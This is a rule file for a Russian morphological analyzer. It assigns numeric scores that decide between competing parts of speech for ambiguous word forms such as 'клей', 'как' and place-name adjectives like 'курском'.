wordform_score "автостопом" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:автостоп{} и НАРЕЧИЕ:автостопом{}
wordform_score "автостопом" { НАРЕЧИЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:автостоп{} и НАРЕЧИЕ:автостопом{}
wordform_score "Ковровом" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Ковров{} и ПРИЛАГАТЕЛЬНОЕ:ковровый{}
wordform_score "Ковровом" { ПРИЛАГАТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Ковров{} и ПРИЛАГАТЕЛЬНОЕ:ковровый{}
wordform_score "кладу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клад{} и ГЛАГОЛ:класть{}
wordform_score "кладу" { ГЛАГОЛ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:клад{} и ГЛАГОЛ:класть{}
wordform_score "клей" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ГЛАГОЛ:клеить{}
wordform_score "клей" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ГЛАГОЛ:клеить{}
wordform_score "клея" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ДЕЕПРИЧАСТИЕ:клея{}
wordform_score "клея" { ДЕЕПРИЧАСТИЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:клей{} и ДЕЕПРИЧАСТИЕ:клея{}
wordform_score "кубарем" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кубарь{} и НАРЕЧИЕ:кубарем{}
wordform_score "кубарем" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:кубарь{} и НАРЕЧИЕ:кубарем{}
wordform_score "калачиком" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:калачик{} и НАРЕЧИЕ:калачиком{}
wordform_score "калачиком" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:калачик{} и НАРЕЧИЕ:калачиком{}
wordform_score "ковали" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:коваль{} и ГЛАГОЛ:ковать{}
wordform_score "ковали" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:коваль{} и ГЛАГОЛ:ковать{}
wordform_score "Алле" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Алла{} и ЧАСТИЦА:алле{}
wordform_score "Алле" { ЧАСТИЦА } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Алла{} и ЧАСТИЦА:алле{}
wordform_score "кому" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:кома{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "кому" { МЕСТОИМ_СУЩ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кома{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "кисла" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{}
wordform_score "кисла" { ГЛАГОЛ } = 2 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{}
wordform_score "кисло" { наречие } = 2
wordform_score "кисло" { ПРИЛАГАТЕЛЬНОЕ } = -2 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{}
wordform_score "кисло" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кислый{} и ГЛАГОЛ:киснуть{}
wordform_score "конвертируем" { ПРИЛАГАТЕЛЬНОЕ } = -1 // ПРИЛАГАТЕЛЬНОЕ:конвертируемый{} и ГЛАГОЛ:конвертировать{}
wordform_score "конвертируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конвертируемый{} и ГЛАГОЛ:конвертировать{}
wordform_score "клади" { СУЩЕСТВИТЕЛЬНОЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:кладь{} и ГЛАГОЛ:класть{}
wordform_score "клади" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кладь{} и ГЛАГОЛ:класть{}
wordform_score "копи" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:копь{} и ГЛАГОЛ:копить{}
wordform_score "копи" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:копь{} и ГЛАГОЛ:копить{}
wordform_score "крепи" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:крепь{} и ГЛАГОЛ:крепить{}
wordform_score "крепи" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крепь{} и ГЛАГОЛ:крепить{}
wordform_score "крошку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крошка{} и НАРЕЧИЕ:крошку{}
wordform_score "крошку" { НАРЕЧИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:крошка{} и НАРЕЧИЕ:крошку{}
wordform_score "качкой" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:качка{} и ПРИЛАГАТЕЛЬНОЕ:качкий{}
wordform_score "качкой" { ПРИЛАГАТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:качка{} и ПРИЛАГАТЕЛЬНОЕ:качкий{}
wordform_score "какой" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{}
//wordform_score "какой" { ПРИЛАГАТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{}
wordform_score "какою" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{}
wordform_score "какою" { ПРИЛАГАТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кака{} и ПРИЛАГАТЕЛЬНОЕ:какой{}
// СУЩЕСТВИТЕЛЬНОЕ:кака{} и СОЮЗ:как{}
wordform_score "как" { СОЮЗ } = 3
wordform_score "как" { НАРЕЧИЕ } = 2
wordform_score "как" { ЧАСТИЦА } = 1
wordform_score "как" { СУЩЕСТВИТЕЛЬНОЕ } = -10
wordform_score "ковка" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ковка{} и ПРИЛАГАТЕЛЬНОЕ:ковкий{}
wordform_score "ковка" { ПРИЛАГАТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:ковка{} и ПРИЛАГАТЕЛЬНОЕ:ковкий{}
wordform_score "кучу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:куча{} и ГЛАГОЛ:кутить{}
wordform_score "кучу" { ГЛАГОЛ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:куча{} и ГЛАГОЛ:кутить{}
wordform_score "кручу" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ГЛАГОЛ:крутить{}
wordform_score "кручу" { ГЛАГОЛ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ГЛАГОЛ:крутить{}
wordform_score "круче" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и НАРЕЧИЕ:круто{}
wordform_score "круче" { НАРЕЧИЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и НАРЕЧИЕ:круто{}
wordform_score "круче" { ПРИЛАГАТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:круча{} и ПРИЛАГАТЕЛЬНОЕ:крутой{}
wordform_score "как" { СОЮЗ } = 3 // НАРЕЧИЕ:как{} и СУЩЕСТВИТЕЛЬНОЕ:кака{}
wordform_score "как" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:как{} и СУЩЕСТВИТЕЛЬНОЕ:кака{}
wordform_score "как" { ЧАСТИЦА } = 0 // НАРЕЧИЕ:как{} и СОЮЗ:как{}
wordform_score "как" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:как{} и ЧАСТИЦА:как{}
wordform_score "кругом" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:кругом{} и СУЩЕСТВИТЕЛЬНОЕ:круг{}
wordform_score "кругом" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:кругом{} и СУЩЕСТВИТЕЛЬНОЕ:круг{}
wordform_score "кувырком" { НАРЕЧИЕ } = 2 // НАРЕЧИЕ:кувырком{} и СУЩЕСТВИТЕЛЬНОЕ:кувырок{}
wordform_score "кувырком" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:кувырком{} и СУЩЕСТВИТЕЛЬНОЕ:кувырок{}
wordform_score "каплю" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:каплю{} и СУЩЕСТВИТЕЛЬНОЕ:капля{}
wordform_score "каплю" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:каплю{} и СУЩЕСТВИТЕЛЬНОЕ:капля{}
wordform_score "крошечку" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:крошечку{} и СУЩЕСТВИТЕЛЬНОЕ:крошечка{}
wordform_score "крошечку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:крошечку{} и СУЩЕСТВИТЕЛЬНОЕ:крошечка{}
wordform_score "крошку" { НАРЕЧИЕ } = -10 // НАРЕЧИЕ:крошку{} и СУЩЕСТВИТЕЛЬНОЕ:крошка{}
wordform_score "крошку" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // НАРЕЧИЕ:крошку{} и СУЩЕСТВИТЕЛЬНОЕ:крошка{}
wordform_score "кубарем" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:кубарем{} и СУЩЕСТВИТЕЛЬНОЕ:кубарь{}
wordform_score "кубарем" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // НАРЕЧИЕ:кубарем{} и СУЩЕСТВИТЕЛЬНОЕ:кубарь{}
wordform_score "кипуче" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:кипуче{} и ПРИЛАГАТЕЛЬНОЕ:кипучий{}
wordform_score "кипуче" { ПРИЛАГАТЕЛЬНОЕ } = -1 // НАРЕЧИЕ:кипуче{} и ПРИЛАГАТЕЛЬНОЕ:кипучий{}
wordform_score "куце" { НАРЕЧИЕ } = 1 // НАРЕЧИЕ:куце{} и ПРИЛАГАТЕЛЬНОЕ:куцый{}
wordform_score "куце" { ПРИЛАГАТЕЛЬНОЕ } = -1 // НАРЕЧИЕ:куце{} и ПРИЛАГАТЕЛЬНОЕ:куцый{}
wordform_score "антенной" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:антенный{} и СУЩЕСТВИТЕЛЬНОЕ:антенна{}
wordform_score "антенной" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:антенный{} и СУЩЕСТВИТЕЛЬНОЕ:антенна{}
wordform_score "анализируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:анализируемый{} и ГЛАГОЛ:анализировать{}
wordform_score "анализируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:анализируемый{} и ГЛАГОЛ:анализировать{}
wordform_score "ассоциируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:ассоциируемый{} и ГЛАГОЛ:ассоциировать{}
wordform_score "ассоциируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:ассоциируемый{} и ГЛАГОЛ:ассоциировать{}
wordform_score "культивируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:культивируемый{} и ГЛАГОЛ:культивировать{}
wordform_score "контролируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:контролируемый{} и ГЛАГОЛ:контролировать{}
wordform_score "автоматизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:автоматизируемый{} и ГЛАГОЛ:автоматизировать{}
wordform_score "автоматизируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:автоматизируемый{} и ГЛАГОЛ:автоматизировать{}
wordform_score "адаптируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:адаптируемый{} и ГЛАГОЛ:адаптировать{}
wordform_score "адаптируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адаптируемый{} и ГЛАГОЛ:адаптировать{}
wordform_score "адресуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:адресуемый{} и ГЛАГОЛ:адресовать{}
wordform_score "адресуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адресуемый{} и ГЛАГОЛ:адресовать{}
wordform_score "аккумулируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:аккумулируемый{} и ГЛАГОЛ:аккумулировать{}
wordform_score "аккумулируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:аккумулируемый{} и ГЛАГОЛ:аккумулировать{}
wordform_score "акцептуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акцептуемый{} и ГЛАГОЛ:акцептовать{}
wordform_score "акцептуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акцептуемый{} и ГЛАГОЛ:акцептовать{}
wordform_score "акционируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акционируемый{} и ГЛАГОЛ:акционировать{}
wordform_score "акционируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акционируемый{} и ГЛАГОЛ:акционировать{}
wordform_score "амортизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:амортизируемый{} и ГЛАГОЛ:амортизировать{}
wordform_score "амортизируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:амортизируемый{} и ГЛАГОЛ:амортизировать{}
wordform_score "арендуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:арендуемый{} и ГЛАГОЛ:арендовать{}
wordform_score "арендуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:арендуемый{} и ГЛАГОЛ:арендовать{}
wordform_score "афишируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:афишируемый{} и ГЛАГОЛ:афишировать{}
wordform_score "афишируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:афишируемый{} и ГЛАГОЛ:афишировать{}
wordform_score "капитализируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:капитализируемый{} и ГЛАГОЛ:капитализировать{}
wordform_score "капитализируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:капитализируемый{} и ГЛАГОЛ:капитализировать{}
wordform_score "классифицируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{}
wordform_score "классифицируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{}
wordform_score "классифицируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{}
wordform_score "классифицируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{}
wordform_score "комментируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:комментируемый{} и ГЛАГОЛ:комментировать{}
wordform_score "комментируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:комментируемый{} и ГЛАГОЛ:комментировать{}
wordform_score "коммутируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:коммутируемый{} и ГЛАГОЛ:коммутировать{}
wordform_score "коммутируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:коммутируемый{} и ГЛАГОЛ:коммутировать{}
wordform_score "конвоируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:конвоируемый{} и ГЛАГОЛ:конвоировать{}
wordform_score "конвоируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конвоируемый{} и ГЛАГОЛ:конвоировать{}
wordform_score "координируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:координируемый{} и ГЛАГОЛ:координировать{}
wordform_score "координируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:координируемый{} и ГЛАГОЛ:координировать{}
wordform_score "котируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:котируемый{} и ГЛАГОЛ:котировать{}
wordform_score "котируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:котируемый{} и ГЛАГОЛ:котировать{}
wordform_score "кредитуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кредитуемый{} и ГЛАГОЛ:кредитовать{}
wordform_score "кредитуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кредитуемый{} и ГЛАГОЛ:кредитовать{}
wordform_score "критикуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:критикуемый{} и ГЛАГОЛ:критиковать{}
wordform_score "критикуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:критикуемый{} и ГЛАГОЛ:критиковать{}
wordform_score "курируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:курируемый{} и ГЛАГОЛ:курировать{}
wordform_score "курируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курируемый{} и ГЛАГОЛ:курировать{}
wordform_score "корректируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:корректируемый{} и ГЛАГОЛ:корректировать{}
wordform_score "корректируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:корректируемый{} и ГЛАГОЛ:корректировать{}
wordform_score "ковровом" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:ковровый{} и СУЩЕСТВИТЕЛЬНОЕ:Ковров{}
wordform_score "ковровом" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // ПРИЛАГАТЕЛЬНОЕ:ковровый{} и СУЩЕСТВИТЕЛЬНОЕ:Ковров{}
wordform_score "кочевым" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кочевой{} и СУЩЕСТВИТЕЛЬНОЕ:Кочево{}
wordform_score "кочевым" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // ПРИЛАГАТЕЛЬНОЕ:кочевой{} и СУЩЕСТВИТЕЛЬНОЕ:Кочево{}
wordform_score "атакуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:атакуемый{} и ГЛАГОЛ:атаковать{}
wordform_score "атакуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:атакуемый{} и ГЛАГОЛ:атаковать{}
wordform_score "казним" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:казнимый{} и ГЛАГОЛ:казнить{}
wordform_score "казним" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:казнимый{} и ГЛАГОЛ:казнить{}
wordform_score "качаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:качаемый{} и ГЛАГОЛ:качать{}
wordform_score "качаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качаемый{} и ГЛАГОЛ:качать{}
wordform_score "кусаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кусаемый{} и ГЛАГОЛ:кусать{}
wordform_score "кусаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кусаемый{} и ГЛАГОЛ:кусать{}
wordform_score "компенсируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} и ГЛАГОЛ:компенсировать{}
wordform_score "компенсируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} и ГЛАГОЛ:компенсировать{}
wordform_score "караем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:караемый{} и ГЛАГОЛ:карать{}
wordform_score "караем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:караемый{} и ГЛАГОЛ:карать{}
wordform_score "командируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:командируемый{} и ГЛАГОЛ:командировать{}
wordform_score "командируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:командируемый{} и ГЛАГОЛ:командировать{}
wordform_score "конструируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:конструируемый{} и ГЛАГОЛ:конструировать{}
wordform_score "конструируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конструируемый{} и ГЛАГОЛ:конструировать{}
wordform_score "консультируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:консультируемый{} и ГЛАГОЛ:консультировать{}
wordform_score "консультируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:консультируемый{} и ГЛАГОЛ:консультировать{}
wordform_score "кидаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кидаемый{} и ГЛАГОЛ:кидать{}
wordform_score "кидаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кидаемый{} и ГЛАГОЛ:кидать{}
wordform_score "акцентируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акцентируемый{} и ГЛАГОЛ:акцентировать{}
wordform_score "акцентируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акцентируемый{} и ГЛАГОЛ:акцентировать{}
wordform_score "колонизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:колонизируемый{} и ГЛАГОЛ:колонизировать{}
wordform_score "колонизируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:колонизируемый{} и ГЛАГОЛ:колонизировать{}
wordform_score "крымском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:крымский{} и СУЩЕСТВИТЕЛЬНОЕ:Крымск{}
wordform_score "крымском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:крымский{} и СУЩЕСТВИТЕЛЬНОЕ:Крымск{}
wordform_score "каспийском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:каспийский{} и СУЩЕСТВИТЕЛЬНОЕ:Каспийск{}
wordform_score "каспийском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:каспийский{} и СУЩЕСТВИТЕЛЬНОЕ:Каспийск{}
wordform_score "амурском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:амурский{} и СУЩЕСТВИТЕЛЬНОЕ:Амурск{}
wordform_score "амурском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:амурский{} и СУЩЕСТВИТЕЛЬНОЕ:Амурск{}
wordform_score "архангельском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:архангельский{} и СУЩЕСТВИТЕЛЬНОЕ:Архангельск{}
wordform_score "архангельском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:архангельский{} и СУЩЕСТВИТЕЛЬНОЕ:Архангельск{}
wordform_score "курильском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:курильский{} и СУЩЕСТВИТЕЛЬНОЕ:Курильск{}
wordform_score "курильском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курильский{} и СУЩЕСТВИТЕЛЬНОЕ:Курильск{}
wordform_score "кировском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:кировский{} и СУЩЕСТВИТЕЛЬНОЕ:Кировск{}
wordform_score "кировском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кировский{} и СУЩЕСТВИТЕЛЬНОЕ:Кировск{}
wordform_score "козельском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:козельский{} и СУЩЕСТВИТЕЛЬНОЕ:Козельск{}
wordform_score "козельском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:козельский{} и СУЩЕСТВИТЕЛЬНОЕ:Козельск{}
wordform_score "курском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:курский{} и СУЩЕСТВИТЕЛЬНОЕ:Курск{}
wordform_score "курском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курский{} и СУЩЕСТВИТЕЛЬНОЕ:Курск{}
wordform_score "калининском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:калининский{} и СУЩЕСТВИТЕЛЬНОЕ:Калининск{}
wordform_score "калининском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:калининский{} и СУЩЕСТВИТЕЛЬНОЕ:Калининск{}
wordform_score "красноярском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:красноярский{} и СУЩЕСТВИТЕЛЬНОЕ:Красноярск{}
wordform_score "красноярском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:красноярский{} и СУЩЕСТВИТЕЛЬНОЕ:Красноярск{}
wordform_score "качкой" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{}
wordform_score "качкой" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{}
wordform_score "качкою" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{}
wordform_score "качкою" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{}
wordform_score "качком" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качок{}
wordform_score "качком" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качок{}
wordform_score "адыгейском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:адыгейский{} и СУЩЕСТВИТЕЛЬНОЕ:Адыгейск{}
